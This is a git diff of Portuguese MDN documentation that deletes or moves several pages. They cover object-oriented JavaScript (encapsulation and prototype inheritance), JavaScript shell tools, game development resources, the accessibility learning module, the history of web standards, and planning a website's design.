Como exposto no início do artigo, em nosso exemplo que representa um ventilador, detalhes da estrutura de alguns objetos ficam ocultos internamente, pois não precisamos conhecê-los para fazer uso dos mesmos. O encapsulamento tem por objetivo esconder essa informação que não precisa ser de conhecimento do utilizador da classe. Seu uso é uma boa prática quanto à manutenção da classe, pois podemos modificar a parte que é oculta ao utilizador sem alterar sua forma de implementação. Em Javascript podemos usar encapsulamento em propriedades de uma classe utilizando a palavra-chave var ao invés da palavra-chave this e do operador “.”.

- -
function Ventilador(velMax) {
-    var maximaPermitida = 5; // Uso de encapsulamento
-    var velocidadePadrao = 3; // Variáveis privadas
-    // Avalia se a velocidade máxima fornecida é maior que zero e menor que 5, o limite atual.
-    if (velMax > 0 && velMax <= maximaPermitida) {
-        // Caso seja, atribui o valor fornecido à propriedade velocidadeMaxima
-        this.velocidadeMaxima = velMax;
-    } else {
-        // Caso contrário, atribui o valor da variável velocidadePadrao à propriedade velocidadeMaxima
-        this.velocidadeMaxima = velocidadePadrao;
-    }
-    this.ligado = false;
-    this.ligar = function() { // O método ligar agora é definido
-        this.ligado = true; // por um literal de função, o que
-    } // melhora a legibilidade do código.
-}
-ventilador = new Ventilador(0); // Cria a instância fornecendo o valor 0 para o argumento velMax;
-console.log(ventilador.velocidadeMaxima); // Retorna 3 – o padrão
-console.log(ventilador.maximaPermitida); // Retorna undefined
-
- -

Herança

- -

Em Javascript a herança ocorre por meio de objetos protótipos4 e define uma relação do tipo “é um” (“is a” relationship). Cada objeto herda propriedades e métodos de seu objeto protótipo que é referenciado pela propriedade prototype. A classe Object é a superclasse de todas as classes definidas em Javascript, ou seja, todos os construtores criados herdam propriedades e métodos definidos no construtor Object() como por exemplo o método toString(), que assim como outros pode ser sobrescrito na subclasse. Em alguns casos, é conveniente utilizar este recurso em classes personalizadas, para isso basta definir um construtor como valor para a propriedade prototype da classe em questão. Como exemplo simplório, vamos definir a classe Eletrodomestico com a propriedade ligado e os métodos ligar e desligar comuns a todos os eletrodomésticos e então definir a classe Ventilador com propriedades e métodos peculiares.

- -
function Eletrodomestico() {
-    this.ligado = false;
-    this.ligar = function() {
-        this.ligado = true;
-    }
-    this.desligar = function() {
-        this.ligado = false;
-    }
-}
-
-function Ventilador(velMax) {
-    var maximaPermitida = 5; // Uso de encapsulamento
-    var velocidadePadrao = 3; // Variáveis privadas
-    if (velMax > 0 && velMax <= maximaPermitida) {
-        this.velocidadeMaxima = velMax;
-    } else {
-        this.velocidadeMaxima = velocidadePadrao;
-    }
-}
-
-Ventilador.prototype = new Eletrodomestico(); // Define o objeto protótipo
-ventilador = new Ventilador(4);
-console.log(ventilador.ligado); // Retorna false
-ventilador.ligar();
-console.log(ventilador.ligado); // Retorna true
-
- -

A utilização do objeto protótipo faz com que a propriedade constructor também seja herdada da superclasse, o que definiria a classe Eletrodomestico como valor da propriedade no objeto ventilador. Uma alternativa é definir de forma explícita a propriedade constructor:

- -
Ventilador.prototype.constructor = Ventilador;
-
- -

Conclusão

- -

Este artigo é apenas um incentivo à adoção dos conceitos da orientação a objetos em Javascript. Com o entendimento dos conceitos, os desenvolvedores podem corroborar as vantagens em códigos mais complexos, organizando o desenvolvimento e facilitando a manutenção dos scripts.

- -

Notas

- -

1. Termo usado informalmente no artigo.
- 2. Nas linguagens clássicas orientadas a objeto, geralmente usa-se o termo atributo ou campo.
- 3. Conhecidos também como inicializadores de objetos ou objetos literais, implementados a partir de Javascript 1.2.
- 4. Implementados a partir de Javascript 1.1.

- -
-

Informações Sobre o Documento Original

- - -
- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/javascript_shells/index.html b/files/pt-pt/javascript_shells/index.html deleted file mode 100644 index b773a327dc..0000000000 --- a/files/pt-pt/javascript_shells/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: JavaScript Shells -slug: JavaScript_Shells -tags: - - 'Extensões:Ferramentas' - - Ferramentas - - JavaScript - - 'JavaScript:Ferramentas' ---- -

Um shell JavaScript permite a você rapidamente testar partes de código JavaScript sem ter que atualizar a página web. Eles são extremamente úteis para desenvolvimento e depuração de código.

- -

Lista de shells JavaScript

- -

Os seguintes shells JavaScript trabalham com o Mozilla:

- - - -

Categorias

- -

Add Interwiki Languages

diff --git a/files/pt-pt/jogos/index.html b/files/pt-pt/jogos/index.html deleted file mode 100644 index b7058ec932..0000000000 --- a/files/pt-pt/jogos/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Desenvolvimento de Jogos -slug: Jogos -translation_of: Games ---- -
{{GamesSidebar}}
- -
-

Gaming é uma das áreas mais populares das tecnologias computacionais. Novas ferramentas estão aparecendo constantemente, permitindo o desenvolvimento de jogos cada vez mais poderosos e eficientes, que podem ser executados em qualquer navegador que esteja dentro dos padrões da Web.

-
- -
{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}
- -
-
-

Develop web games

- -

Welcome to the MDN game development center! In this area of the site we provide resources for web developers wanting to develop games. You will find many useful tutorials and technique articles in the main menu on the left, so feel free to explore.

- -

We've also included a reference section so you can easily find information about all the most common APIs used in game development.

- -
Note: Creating games on the web draws on a number of core web technologies such as HTML, CSS, and JavaScript. The Learning Area is a good place to go to get started with the basics.
-
- -
-

Port native games to the Web

- -

If you are a native developer (for example writing games in C++), and you are interested in how you can port your games over to the Web, you should learn more about our Emscripten tool — this is an LLVM to JavaScript compiler, which takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into asm.js, which can be run on the Web.

- -

To get started, see:

- - -
-
- -
-
-

Examples

- -

For a list of web game examples, see our examples page. Also check out games.mozilla.org for more useful resources!

-
-
- -

See also

- -
-
-
-
Build New Games
-
A collaborative site featuring a large number of open web game development tutorials. Has not been very active recently, but still holds some nice resources.
-
Creative JS
-
A collection of impressive JavaScript techniques and experiments, not specific to games, but helpful nonetheless. Has not been very active recently, but still holds some nice resources.
-
Game programming patterns
-
An online book, written by Bob Nystrom, which discusses programming patterns in the context of game development with the aim of helping game developers produce more effective and efficient code.
-
Gamedev.js Weekly
-
Weekly newsletter about HTML5 game development, sent every Friday. Contains the latest articles, tutorials, tools and resources.
-
HTML5 Game Devs Forum
-
Forums for developers, framework creators and publishers. Ask questions, get feedback and help others.
-
-
- -
-
-
HTML5 Game Engine
-
List of the most popular HTML5 game frameworks along with their rating, features and samples.
-
JSBreakouts
-
Compare JavaScript Breakout clones in different frameworks to help you choose the right one for you.
-
Tuts+ Game Development
-
Tutorials and articles about game development in general.
-
HTML5 Gamedev Starter
-
Starter for the new game developers, a curated list of links to various, useful resources around the web.
-
js13kGames
-
JavaScript coding competition for HTML5 game developers with the file size limit set to 13 kilobytes. All the submitted games are available in a readable form on GitHub.
-
Mozilla Hacks blog
-
Games category on the Mozilla Hacks blog containing interesting gamedev related articles.
-
Visual TypeScript game engine
-
TypeScript project based on matter.ts implementation.
-
-
-
- -

See also

- - diff --git a/files/pt-pt/jogos/tutoriais/index.html b/files/pt-pt/jogos/tutoriais/index.html deleted file mode 100644 index 55417d7bdc..0000000000 --- a/files/pt-pt/jogos/tutoriais/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Tutoriais -slug: Jogos/Tutoriais -tags: - - Canvas - - JavaScript - - Jogos - - Ritmos de Trabalho - - Web -translation_of: Games/Tutorials ---- -
{{GamesSidebar}}
{{IncludeSubnav("/en-US/docs/Games")}}
- -

This page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.

- -
-
2D breakout game using pure JavaScript
-
In this step-by-step tutorial you'll implement a simple breakout clone using pure JavaScript. Along the way you will learn the basics of using the {{htmlelement("canvas")}} element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states.
-
2D breakout game using Phaser
-
In this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that this time you'll do it using thePhaser HTML5 game framework. This idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics.
-
2D maze game with device orientation
-
This tutorial shows how to create a 2D maze game using HTML5, incorporating fundamentals such as collision detection and sprite placement on a {{htmlelement("canvas")}}. This is a mobile game that uses the Device Orientation and Vibration APIs to enhance the gameplay and is built using the Phaser framework.
-
2D platform game with Phaser
-
This tutorial series shows how to create a simple platform game using Phaser, covering fundamentals such as sprites, collisions, physics, collectables, and more.
-
diff --git a/files/pt-pt/learn/accessibility/index.html b/files/pt-pt/learn/accessibility/index.html new file mode 100644 index 0000000000..0b6cbcefd7 --- /dev/null +++ b/files/pt-pt/learn/accessibility/index.html @@ -0,0 +1,86 @@ +--- +title: Acessibilidade +slug: Learn/Acessibilidade +tags: + - ARIA + - Acessibilidade + - Aprender + - Artigos + - CSS + - CodingScripting + - HTML + - JavaScript + - Landing + - Principiantes + - modulo +translation_of: Learn/Accessibility +--- +
{{LearnSidebar}}
+ +

Aprender um pouco de HTML, CSS e JavaScript é útil se quiser tornar-se em um desenvolvedor da web, mas o seu conhecimento precisa de ir mais além do que apenas utilizar as tecnologias - precisa de as utilizar com responsabilidade para maximizar o público dos seus sites da web e não impedir que as utilizem. Para conseguir isso, precisa de aderir às melhores práticas gerais (que são demonstradas através dos tópicos de HTML, CSS, e JavaScript), efetuar teste cruzado de navegador, e considerar a acessibilidade desde o início. Neste módulo, nós iremos abordar o último em detalhes.

+ +

Sumario

+ +

Quando um site é descrito como "acessível", isto significa que um utilizador pode aceder e interagir com todas as funções e conteúdo, sem preocupação de qual o modo que ele acede à web — inclusive e especialmente utilizadores com dificuldades físicas ou mentais.

+ + + +

Como padrão, HTML é acessível, se utilizado corretamente. Acessibilidade web envolve certificar que o conteúdo continua acessível, indiferente de quem ou como se acede à web.

+ +

O Firefox Accessibility Inspector (Inspetor de Acessibilidade Firefox) é uma ferramenta muito útil para verificar problemas de acessibilidade em páginas web. O seguinte vídeo oferece uma boa introdução:

+ +

{{EmbedYouTube("7mqqgIxX_NU")}}

+ +
+

Procura ser um programador de web front-end?

+ +

Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.

+ +

Começar a Aprender

+
+ +

Pré-requisitos

+ +

Para aproveitar este modulo ao máximo, é boa ideia estudar os primeiros dois módulos dos tópicos HTML, CSS, e JavaScript, ou até melhor, estudar as partes relevantes do modulo de acessibilidade enquanto estuda os tópicos de tecnologia relacionados.

+ +
+

Nota: Se estiver a trabalhar num computador / tablete / outro dispositivo onde não tem a habilidade de criar os seus próprios ficheiros, pode tentar a maioria dos exemplos de código num IDE online como JSBin ou Thimble.

+
+ +

Guias

+ +
+
O que é acessibilidade?
+
Este artigo começa o módulo a definir o que acessibilidade — isto inclui quais os grupos que se tem de considerar e porquê, que ferramentas pessoas usam para aceder à web e como podemos fazer com que acessibilidade seja parte do nosso processo de desenvolvimento da web.
+
HTML: Uma boa base para acessibilidade
+
Uma grande parte de conteúdo da web pode ser feito acessível ao usar os elementos corretos de HTML para os seus usos próprios. Este artigo dá uma vista aprofundada a como HTML pode ser utilizado para certificar a acessibilidade máxima.
+
Melhores práticas de CSS e JavaScript
+
CSS e JavaScript, quando usados corretamente, também têm o potencial de oferecer expriencias da web acessiveis, mas se mal utilizadas podem prejudicar significativamente a acessibilidade. Este artigo descreve algumas das melhores práticas de CSS e JavaScript que devem ser consideradas para garantir que mesmo conteúdos complexos sejam o mais acessíveis possível.
+
Básicos de WAI-ARIA
+
+

No seguimento do artigo anterior, por vezes é difícil criar controlos complexos da interface que envolvem HTML não semântico e conteúdos dinâmicos atualizados em JavaScript. WAI-ARIA é uma tecnologia que pode ajudar com tais problemas, acrescentando semântica que os navegadores e tecnologias de assistência podem reconhecer e utilizar para que os utilizadores saibam o que se está a passar. Aqui mostraremos como utilizá-la a um nível básico para melhorar a acessibilidade.

+
+
Acessibilidade em multimédia
+
Outra categoria de conteúdos que pode criar problemas de acessibilidade é a multimédia — os conteúdos de vídeo, áudio e imagem precisam de receber alternativas textuais adequadas, para que possam ser compreendidos pelas tecnologias de assistência e pelos seus utilizadores. Este artigo mostra como.
+
Acessibilidade em moveis
+
Com o acesso à web em dispositivos móveis a ser tão popular, e com plataformas populares como o iOS e o Android a terem ferramentas de acessibilidade completas, é importante considerar a acessibilidade do seu conteúdo web nestas plataformas.  Este artigo analisa as considerações de acessibilidade específicas para dispositivos móveis.
+
+ +

Avaliações

+ +
+
Troubleshooting de Acessibilidade
+
Na avaliação para este modulo, nos apresentamos um site simples com uns problemas de acessibilidade que tem de diagonisar e resolver.
+
+ +

Ver também

+ + diff --git a/files/pt-pt/learn/acessibilidade/index.html b/files/pt-pt/learn/acessibilidade/index.html deleted file mode 100644 index 0b6cbcefd7..0000000000 --- a/files/pt-pt/learn/acessibilidade/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Acessibilidade -slug: Learn/Acessibilidade -tags: - - ARIA - - Acessibilidade - - Aprender - - Artigos - - CSS - - CodingScripting - - HTML - - JavaScript - - Landing - - Principiantes - - modulo -translation_of: Learn/Accessibility ---- -
{{LearnSidebar}}
- -

Aprender um pouco de HTML, CSS e JavaScript é útil se quiser tornar-se em um desenvolvedor da web, mas o seu conhecimento precisa de ir mais além do que apenas utilizar as tecnologias - precisa de as utilizar com responsabilidade para maximizar o público dos seus sites da web e não impedir que as utilizem. Para conseguir isso, precisa de aderir às melhores práticas gerais (que são demonstradas através dos tópicos de HTML, CSS, e JavaScript), efetuar teste cruzado de navegador, e considerar a acessibilidade desde o início. Neste módulo, nós iremos abordar o último em detalhes.

- -

Sumario

- -

Quando um site é descrito como "acessível", isto significa que um utilizador pode aceder e interagir com todas as funções e conteúdo, sem preocupação de qual o modo que ele acede à web — inclusive e especialmente utilizadores com dificuldades físicas ou mentais.

- - - -

Como padrão, HTML é acessível, se utilizado corretamente. Acessibilidade web envolve certificar que o conteúdo continua acessível, indiferente de quem ou como se acede à web.

- -

O Firefox Accessibility Inspector (Inspetor de Acessibilidade Firefox) é uma ferramenta muito útil para verificar problemas de acessibilidade em páginas web. O seguinte vídeo oferece uma boa introdução:

- -

{{EmbedYouTube("7mqqgIxX_NU")}}

- -
-

Procura ser um programador de web front-end?

- -

Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.

- -

Começar a Aprender

-
- -

Pré-requisitos

- -

Para aproveitar este modulo ao máximo, é boa ideia estudar os primeiros dois módulos dos tópicos HTML, CSS, e JavaScript, ou até melhor, estudar as partes relevantes do modulo de acessibilidade enquanto estuda os tópicos de tecnologia relacionados.

- -
-

Nota: Se estiver a trabalhar num computador / tablete / outro dispositivo onde não tem a habilidade de criar os seus próprios ficheiros, pode tentar a maioria dos exemplos de código num IDE online como JSBin ou Thimble.

-
- -

Guias

- -
-
O que é acessibilidade?
-
Este artigo começa o módulo a definir o que acessibilidade — isto inclui quais os grupos que se tem de considerar e porquê, que ferramentas pessoas usam para aceder à web e como podemos fazer com que acessibilidade seja parte do nosso processo de desenvolvimento da web.
-
HTML: Uma boa base para acessibilidade
-
Uma grande parte de conteúdo da web pode ser feito acessível ao usar os elementos corretos de HTML para os seus usos próprios. Este artigo dá uma vista aprofundada a como HTML pode ser utilizado para certificar a acessibilidade máxima.
-
Melhores práticas de CSS e JavaScript
-
CSS e JavaScript, quando usados corretamente, também têm o potencial de oferecer expriencias da web acessiveis, mas se mal utilizadas podem prejudicar significativamente a acessibilidade. Este artigo descreve algumas das melhores práticas de CSS e JavaScript que devem ser consideradas para garantir que mesmo conteúdos complexos sejam o mais acessíveis possível.
-
Básicos de WAI-ARIA
-
-

No seguimento do artigo anterior, por vezes é difícil criar controlos complexos da interface que envolvem HTML não semântico e conteúdos dinâmicos atualizados em JavaScript. WAI-ARIA é uma tecnologia que pode ajudar com tais problemas, acrescentando semântica que os navegadores e tecnologias de assistência podem reconhecer e utilizar para que os utilizadores saibam o que se está a passar. Aqui mostraremos como utilizá-la a um nível básico para melhorar a acessibilidade.

-
-
Acessibilidade em multimédia
-
Outra categoria de conteúdos que pode criar problemas de acessibilidade é a multimédia — os conteúdos de vídeo, áudio e imagem precisam de receber alternativas textuais adequadas, para que possam ser compreendidos pelas tecnologias de assistência e pelos seus utilizadores. Este artigo mostra como.
-
Acessibilidade em moveis
-
Com o acesso à web em dispositivos móveis a ser tão popular, e com plataformas populares como o iOS e o Android a terem ferramentas de acessibilidade completas, é importante considerar a acessibilidade do seu conteúdo web nestas plataformas.  Este artigo analisa as considerações de acessibilidade específicas para dispositivos móveis.
-
- -

Avaliações

- -
-
Troubleshooting de Acessibilidade
-
Na avaliação para este modulo, nos apresentamos um site simples com uns problemas de acessibilidade que tem de diagonisar e resolver.
-
- -

Ver também

- - diff --git a/files/pt-pt/learn/comecar_com_a_web/a_web_e_os_padroes_da_web/index.html b/files/pt-pt/learn/comecar_com_a_web/a_web_e_os_padroes_da_web/index.html deleted file mode 100644 index 928a960b97..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/a_web_e_os_padroes_da_web/index.html +++ /dev/null @@ -1,174 +0,0 @@ ---- -title: A Web e os padrões da Web -slug: Learn/Comecar_com_a_Web/A_web_e_os_padroes_da_web -tags: - - Aprender - - Beginner - - Front-end - - Normas da Web - - Padrões da Web - - Web -translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards ---- -

{{learnsidebar}}

- -

Este artigo fornece informação útil sobre a Web - como surgiu, o que são as tecnologias padrão da Web, como trabalham em conjunto, porque é que web developer é uma excelente carreira a escolher, e que melhores práticas irá aprender através do curso.

- -

História resumida da Web

- -

Vamos manter isto muito breve, pois existem relatos muito (mais) detalhados da história da web lá fora, aos quais faremos referência mais tarde (tente também procurar por "história da web" no seu motor de busca favorito e veja o que obtém, se estiver interessado em mais detalhes).

- -

No final da década de 1960, o exército dos EUA desenvolveu uma rede de comunicação chamada ARPANET. Esta pode ser considerada uma precursora da Web, uma vez que funcionava na {{Interwiki("wikipedia", "Comutação de pacotes", "comutação de pacotes")}}, e incluía a primeira implementação do conjunto de protocolos {{Interwiki("wikipedia", "TCP/IP", "TCP/IP")}}. Estas duas tecnologias formam a base da infra-estrutura sobre a qual a Internet está construída.

- -

Em 1980, Tim Berners-Lee (frequentemente referido como TimBL) escreveu um programa de caderno de notas chamado ENQUIRE, que apresentava o conceito de ligações entre os diferentes nódulos. Soa familiar?

- -

Avançando para 1989, e a TimBL escreveu Information Management: A Proposal e HyperText at CERN; estas duas publicações em conjunto forneceram o pano de fundo para a forma como a web funcionaria. Receberam interesse suficiente para convencer os chefes do TimBL a permitir-lhe avançar e criar um sistema global de hipertexto.

- -

No final de 1990, TimBL tinha criado todas as coisas necessárias para executar a primeira versão da web - HTTP, HTML, o primeiro navegador web, que se chamava {{Interwiki("wikipedia", "WorldWideWeb", "WorldWideWeb")}}, um servidor HTTP, e algumas páginas web para ver.

- -

Nos anos que se seguiram, a web explodiu, com vários navegadores a serem lançados, milhares de servidores web a serem criados, e milhões de páginas web a serem criadas. OK, este é um resumo muito simples do que aconteceu, mas prometi-vos um breve resumo.

- -

Um último dado significativo a partilhar é que em 1994, o TimBL fundou o {{Interwiki("wikipedia", "W3C", "World Wide Web Consortium")}} (W3C), uma organização que reúne representantes de muitas empresas tecnológicas diferentes para trabalharem em conjunto na criação de especificações tecnológicas para a web. Depois disso seguiram-se outras tecnologias, tais como CSS e JavaScript, e a web começou a parecer-se mais com a web que conhecemos hoje.

- -

Os padrões da Web

- -

As normas / padrões da web são as tecnologias que utilizamos para construir websites. Estas normas existem como longos documentos técnicos chamados especificações, que detalham exactamente como a tecnologia deve funcionar. Estes documentos não são muito úteis para aprender a utilizar as tecnologias que descrevem (é por isso que temos sites como a MDN Web Docs), mas em vez disso destinam-se a ser utilizados por engenheiros de software para implementar estas tecnologias (geralmente em navegadores).

- -

Por exemplo, o HTML Living Standard descreve exactamente como o HTML (todos os elementos HTML, e as suas APIs associadas, e outras tecnologias circundantes) deve ser implementado.

- -

As normas Web são criadas por organismos de normas — instituições que convidam grupos de pessoas de diferentes empresas tecnológicas a juntarem-se e acordarem sobre a melhor forma de como as tecnologias devem funcionar para cumprir todos os seus casos de utilização. O W3C é o organismo de normas Web mais conhecido, mas existem outros como o WHATWG (que foi responsável pela modernização da linguagem HTML), ECMA (que publica a norma para ECMAScript, na qual o JavaScript se baseia), Khronos (que publica tecnologias para gráficos 3D, como o WebGL), e outros.

- -

Standards "abertos"

- -

Um dos aspetos chave das normas web, que o TimBL e o W3C acordaram desde o início, é que a web (e as tecnologias web) devem ser livres de contribuir e utilizar, e não sobrecarregadas por patentes / licenciamento. Portanto, qualquer pessoa pode escrever o código para construir um website gratuitamente, e qualquer pessoa pode contribuir para o processo de criação de normas, onde as especificações são escritas.

- -

Porque as tecnologias web são criadas abertamente, numa colaboração entre várias empresas, isso significa que nenhuma empresa as consegue controlar, que é fantástico. Não se quer que uma única empresa decida subitamente colocar a web inteira atrás de uma paywall, ou lançar uma nova versão de HTML que todos têm de comprar para continuar a fazer websites, ou pior ainda, decidindo apenas que já não estão interessados e simplesmente desligando a web.

- -

Isto permite que a web continue a ser um recurso público disponível gratuitamente.

- -

Não quebre a web

- -

Outra frase que ouvirá em torno das normas abertas da web é "não quebre a web" — a ideia é que qualquer nova tecnologia web que seja introduzida deve ser retro compatível com o que existia antes (ou seja, os antigos websites continuarão a funcionar), e com o que existe atualmente (as futuras tecnologias, por sua vez, serão compatíveis com o que temos atualmente). Ao percorrer o material de aprendizagem aqui apresentado, começará a aprender como isto se torna possível com algum trabalho de conceção e implementação muito inteligente.

- -

Ser um web developer é bom

- -

A indústria da web é um mercado muito atrativo para entrar se estiver à procura de um emprego. Números recentemente publicados dizem que existem atualmente cerca de 19 milhões de web developers no mundo, e esse número é previsto mais que dobrar na próxima década. E, ao mesmo tempo, há uma escassez de competências na indústria — portanto, que melhor altura para aprender a desenvolvimento web?

- -

No entanto, nem tudo é brincadeira — construir sites é uma atividade mais complicada do que costumava ser, e terá de dedicar algum tempo ao estudo de todas as diferentes tecnologias que precisa de utilizar, todas as técnicas e melhores práticas que precisa de conhecer, e todos os padrões típicos que será necessário implementar. Vai levar alguns meses para começar realmente a ser proficiente, e depois terá de continuar a aprender para que o seu conhecimento se mantenha atualizado com todas as novas ferramentas e funcionalidades que aparecem na plataforma web, e continuar a praticar e a aperfeiçoar a sua arte.

- -

A única constante é a mudança.

- -

Isto parece-lhe difícil? Não se preocupe — o nosso objetivo é dar-lhe tudo o que precisa de saber para começar, e as coisas ficarão mais fáceis. Assim que aceitar a constante mudança e incerteza da web, começará a divertir-se. Como parte da comunidade web, terá uma rede de contactos e material útil para o ajudar, e começará a desfrutar das possibilidades criativas que ela lhe traz.

- -

Agora é um criativo digital. Desfrute da experiência.

- -

Sinopse das tecnologias modernas da Web

- -

Há uma série de tecnologias a aprender se quiser ser um programador da web de front-end. Nesta secção iremos descrevê-las brevemente. Para uma explicação mais detalhada de como algumas delas funcionam em conjunto, leia o nosso artigo Como funciona a web.

- - - -

É provável que esteja a ler estas palavras dentro de um navegador neste preciso momento (a menos que o tenha imprimido, ou que esteja a utilizar tecnologia de assistência, tal como um leitor de ecrã para o ler). Os navegadores são os programas de software que as pessoas utilizam para consumir a web, e incluem o Firefox, Chrome, Opera, Safari, e Edge.

- -

HTTP

- -

Hypertext Transfer Protocol, ou HTTP, é um protocolo de transmissão de mensagens que permite aos navegadores Web comunicarem com servidores (onde os websites são armazenados). Uma conversa típica é algo como

- -
"Hello web server. Can you give me the files I need to render bbc.co.uk"?
-
-"Sure thing web browser — here you go"
-
-[Downloads files and renders web page]
- -

A sintaxe das mensagens HTTP (chamadas pedidos e respostas) não é tão legível para o ser humano, mas isto dá-lhe a ideia básica.

- -

HTML, CSS, e JavaScript

- -

HTML, CSS, e JavaScript são as três tecnologias principais que irá usar para construir um site:

- - - -

Tooling

- -

Uma vez aprendidas as tecnologias de base que podem ser usadas para construir páginas web (como HTML, CSS, e JavaScript), em breve começará a deparar-se com várias ferramentas que podem ser usadas para tornar o seu trabalho mais fácil ou mais eficiente. Os exemplos incluem:

- - - -

Linguagens de lado de servidor e frameworks

- -

HTML, CSS, e JavaScript são linguagens de front-end (ou client-side), que significa que eles são processados pelo navegador para produzir a interface dum website que os seus utilizadores possam usar.

- -

Há outra classe de línguas chamada de back-end (ou línguas do lado do servidor), o que significa que são executadas no servidor antes de o resultado ser então enviado para o navegador para ser exibido. Uma utilização típica para uma linguagem do lado do servidor é obter alguns dados de uma base de dados e gerar algum HTML para conter os dados, antes de depois enviar o HTML para o navegador para o exibir ao utilizador.

- -

Exemplos de linguagens de lado de servidor incluem C#, Python, PHP e Java.

- -

As melhores práticas da Web

- -

Falámos brevemente sobre as tecnologias que irá utilizar para construir sítios web. Agora vamos discutir as melhores práticas que deverá empregar para se certificar de que está a utilizar essas tecnologias o melhor possível.

- -

Ao fazer desenvolvimento web, a principal causa de incerteza advém do facto de não se saber que combinação de tecnologia cada utilizador utilizará para visualizar o seu site:

- - - -

Como não sabe exatamente o que os seus utilizadores irão usar, precisa de planear defensivamente - tornar o seu site tão flexível quanto possível, para que todos os utilizadores acima mencionados possam fazer uso dele, mesmo que nem todos possam ter a mesma experiência. Em resumo, estamos a tentar fazer com que a web funcione para todos, tanto quanto possível.

- -

Encontrará os conceitos abaixo em algum momento dos seus estudos.

- - - -

Ver também

- - - - diff --git a/files/pt-pt/learn/comecar_com_a_web/apresentacao_do_meu_site/index.html b/files/pt-pt/learn/comecar_com_a_web/apresentacao_do_meu_site/index.html deleted file mode 100644 index a5eacc3afa..0000000000 --- a/files/pt-pt/learn/comecar_com_a_web/apresentacao_do_meu_site/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Qual será a aparência do seu site da Web? -slug: Learn/Comecar_com_a_Web/Apresentacao_do_meu_site -tags: - - Aprender - - Beginner - - Conteúdo - - Design - - Planear - - Tipos de Letra - - 'l10n:priority' -translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Comecar_com_a_Web/Installing_basic_software", "Learn/Comecar_com_a_Web/Lidar_com_ficheiros", "Learn/Comecar_com_a_Web")}}
- -
-

Este artigo descreve o planeamento e conceptualização necessários antes de escrever o código do site da internet, incluindo "Que informação é que o meu site oferece?", "Quais os tipos de letra e cores que eu quero?" e ​​"O que é que o meu site faz?"

-
- -

Antes de tudo: planeamento

- -

Antes de fazer o que quer que seja, precisa de algumas ideias. O que é que o seu site realmente deve fazer? Um site pode fazer qualquer coisa, mas para a sua primeira tentativa, procure manter as coisas simples. Vamos começar a criar uma página web simples com um cabeçalho, uma imagem e alguns parágrafos.

- -

Para começar, irá precisar de responder a estas questões:

- -
    -
  1. De que se trata o seu site da Web? Gosta de cães, Nova Iorque, ou Pac-Man?
  2. -
  3. Que informação é que vai apresentar acerca o assunto? Escreva um título e alguns parágrafos, e pense numa imagem que gostaria de mostrar na sua página.
  4. -
  5. Como será apresentado o seu site da Web, em termos simples de alto nível? Qual é a cor de fundo? Que tipo de letra é apropriado: formal, desenhos, negrito e tom alto, subtil?
  6. -
- -
-

Nota: Projetos complexos precisam de diretrizes detalhadas que abordem todos os detalhes de cores, tipos de letra, espaçamento entre elementos de uma página, estilo de escrita apropriado, e assim por diante. Isto às vezes é chamado guia de desenho ou livro de marca, e pode ver um exemplo em  Firefox OS - Orientações (inglês).

-
- -

Esboçar o seu desenho

- -

A seguir, pegue numa caneta e papel e crie um esboço do layout do seu site. Para a sua primeira página, não há muito o que esboçar, mas deve adquirir o hábito de fazer isso agora. Isto é mesmo uma grande ajuda — não tem que ser um Van Gogh!

- -

- -
-

Nota: Mesmo em sites a sérios, complexos, a equipa de design costuma começar com esboços grosseiros em papel e mais tarde constrói maquetas digitais com um editor de imagem ou tecnologias web.

- -

Equipas de desenvolvimento web geralmente incluem um designer gráfico e um designer {{Glossary("UX", "user-experience")}} (UX). Obviamente, os designers gráficos montam os elementos visuais do site. Designers UX têm um papel mais abstrato, que consiste em abordar a forma como utilizadores vão experimentar e interagir com o site.

-
- -

Escolha do conteúdo

- -

Nesta altura, é boa ideia começar a criar o conteúdo que virá a aparecer na sua página da internet.

- -

Texto

- -

Ainda deve ter o parágrafo e títulos de há bocado. Mantenha-os por perto.

- -

Cor do tema

- -

Para escolher uma cor, vá ao Seletor de Cores e encontre uma cor de que gosta. Quando clicar numa cor, vai ver um código estranho com seis caracteres, tal como #660066. Este é um código hexadecimal que representa um tom de cor específico. Aponte o código num local de fácil acesso.

- -

- -

Imagens

- -

Para escolher uma imagem, pesquise Images no Google procure algo adequado.

- -
    -
  1. Quando encontrar a imagem que quer, clique nela.
  2. -
  3. Prima o botão Ver imagem.
  4. -
  5. Na página seguinte, carregue o botão direito do rato (Ctrl + clique nos Mac), escolha Guardar imagem como..., e escolha um lugar seguro para guardar a imagem. Em alternativa, copie o endereço da imagem da barra de endereço do seu navegador para a utilizar mais tarde.
  6. -
- -

- -

- -
-

Nota: A maioria das imagens, incluindo na pesquisa de Imagens do Google, estão protegidas por direitos de autor. Para reduzir probabilidades de violar estes direitos, pode usar o filtro de licença do  Google. Primeiro, clique em Ferramentas de Pesquisa, e depois em Direitos de utilização:

- -

-
- -

Tipo de letra

- -

Para escolher um tipo de letra:

- -
    -
  1. Vá ao Google Fonts e deslize para baixo até encontrar um de que goste. Também pode usar os controlos à direita para filtrar resultados.
  2. -
  3. Clique no ícone "mais" (Adicionar) perto do tipo de letra que escolheu.
  4. -
  5. Clique no botão "* Family Selected" no painel no fim da página ("*" será o número de tipos de letra selecionados).
  6. -
  7. Na caixa apresentada, copie as linhas de código que o Google lhe dará para um editor de texto e guarde para utilizar mais tarde.
  8. -
- -

- -

- -
